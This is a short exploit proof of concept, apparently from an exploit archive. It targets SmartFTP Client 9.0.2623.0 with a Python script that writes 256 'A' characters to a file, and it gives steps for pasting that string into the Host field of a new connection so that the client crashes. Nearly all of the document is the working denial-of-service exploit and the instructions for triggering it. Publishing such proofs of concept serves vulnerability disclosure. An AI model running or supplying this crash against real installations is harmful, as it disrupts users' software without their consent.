SmartFTP Client 9.0.2623.0 – Denial of Service (PoC)
# -*- coding: utf-8 -*- # Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC) # Date: 06/12/2018 # Exploit Author: Alejandra Sánchez # Vendor Homepage: https://www.smartftp.com/en-us/ # Software Link: https://www.smartftp.com/get/SFTPMSI64.exe # Version: 9.0.2623.0 # Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64 # Steps to Produce the Crash: # 1.- Run python code : python SmartFTPClient.py # 2.- Open SmartFTPClient.txt and copy content to clipboard # 3.- Open SmartFTP Client # 4.- New connection # 5.- Paste ClipBoard on Host # 6.- Crashed buffer = "\x41" * 256 f = open ("SmartFTPClient.txt", "w") f.write(buffer) f.close() |